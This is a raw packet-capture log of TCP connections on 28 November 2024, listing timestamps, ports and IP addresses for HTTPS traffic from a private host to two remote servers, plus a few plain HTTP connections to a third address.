Nov 28, 2024 02:27:26.792234898 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:26.792809963 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:26.792814970 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:26.793381929 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:26.793406010 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:26.793904066 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:26.793911934 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:26.919039011 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:26.919572115 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:26.919601917 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:26.920285940 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:26.920294046 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:26.933156967 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.933182001 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.933216095 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.933219910 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.933243990 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.933254957 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.933288097 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.933311939 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.935306072 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.935340881 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.935357094 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.935368061 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.935384989 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.935395002 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.935425043 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.935431957 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.947751045 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:26.948357105 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:26.948374987 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:26.948858023 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:26.948863029 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.125329018 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.125349998 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.125427961 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.125452042 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.125530958 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.138387918 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.138416052 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.138473034 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.138484001 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.138545036 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.183073997 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.183089972 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.183187962 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.183201075 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.183247089 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.185273886 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.185292959 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.185355902 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.185363054 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.185405970 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.204164028 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.204225063 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.204339981 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.204583883 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.204593897 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.208509922 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.208544016 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.208607912 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.208770037 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.208781958 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.233203888 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.233263016 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.233318090 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.233664036 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.233669043 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.233692884 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.233696938 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.234642982 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.234699965 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.234759092 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.235148907 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.235148907 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.235171080 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.235183001 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.238248110 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.238270044 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.238393068 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.238516092 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.238529921 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.239963055 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.239975929 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.240045071 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.240309954 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.240317106 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.305969000 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.305989027 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.306075096 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.306103945 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.306166887 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.324552059 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.324573040 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.324645996 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.324656010 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.324718952 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.348289967 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.348308086 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.348373890 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.348382950 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.348428011 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.352122068 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.352138042 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.352205038 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.352212906 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.352283955 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.366616964 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.366633892 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.366714001 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.366723061 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.366770029 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.377062082 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.377079964 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.377151966 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.377161980 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.377209902 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.382356882 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.382428885 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.382581949 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.382736921 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.382759094 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.382775068 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.382781982 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.385320902 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.385334969 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.385417938 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.385618925 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.385632038 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.387209892 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.387223959 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.387315989 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.387324095 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.387362957 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.390393019 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.390454054 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.390661955 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.396754026 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.396765947 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.398730040 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.398745060 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.398864031 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.398871899 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.398926973 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.400171995 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.400203943 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.400288105 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.400527954 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:27.400541067 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:27.499100924 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.499152899 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.499219894 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.499231100 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.499255896 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.499289036 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.518439054 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.518455982 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.518507004 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.518512964 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.518558979 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.531836033 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.531873941 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.531908035 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.531915903 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.531970024 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.533757925 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.533775091 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.533859015 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.533866882 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.533911943 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.545912981 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.545933008 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.545996904 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.546004057 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.546051979 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.549803972 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.549822092 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.549897909 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.549907923 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.549962044 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.562324047 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.562340975 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.562412977 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.562421083 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.562469959 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.566267967 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.566289902 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.566339970 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.566346884 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.566380978 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.566395044 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.576714993 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.576731920 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.576802015 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.576809883 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.576862097 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.581815004 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.581832886 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.581897974 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.581907034 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.581942081 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.586524010 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.586540937 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.586596966 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.586604118 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.586652994 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.598283052 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.598298073 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.598356962 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.598366022 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.598638058 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.598639011 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.598659039 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.598691940 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.598700047 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.598726034 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.598742008 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.692682028 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.692719936 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.692764044 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.692775965 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.692811012 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.692837000 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.705559969 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.705578089 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.705642939 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.705667019 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.705705881 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.715982914 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.716000080 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.716070890 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.716082096 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.716119051 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.727193117 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.727207899 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.727291107 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.727303982 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.727344990 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.735394955 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.735421896 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.735491991 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.735502005 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.735532999 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.738001108 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.738017082 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.738069057 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.738080978 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.738105059 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.738123894 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.743525028 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.743541002 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.743602991 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.743609905 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.744052887 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.747720957 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.747737885 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.747792959 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.747802973 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.747886896 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.752918005 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.752937078 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.752989054 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.752996922 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.753094912 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.758356094 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.758388996 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.758450031 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.758459091 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.758490086 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.758511066 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.762245893 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.762263060 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.762312889 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.762319088 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.762346029 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.767347097 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.767363071 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.767426014 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.767435074 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.767533064 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.770442009 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.770464897 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.770550013 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.770558119 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.770596981 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.780427933 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.780446053 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.780499935 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.780507088 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.780544043 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.781738997 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:27.781996965 CET	49788	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:27.788647890 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.788664103 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.788741112 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.788748980 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.788788080 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.798408031 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.798439026 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.798465967 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.798472881 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.798502922 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.798522949 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.895733118 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.895750046 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.895804882 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.895823002 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.895857096 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.895874023 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.902487993 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.902506113 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.902549982 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.902561903 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.902618885 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.902618885 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.906188011 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:27.906236887 CET	80	49788	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:27.906341076 CET	49788	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:27.906547070 CET	49788	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:27.910166979 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.910182953 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.910235882 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.910253048 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.910268068 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.910303116 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.917752028 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.917768955 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.917820930 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.917831898 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.917886019 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.924536943 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.924555063 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.924607038 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.924614906 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.924654007 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.932580948 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.932598114 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.932653904 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.932655096 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.932672977 CET	443	49767	150.171.27.10	192.168.2.6
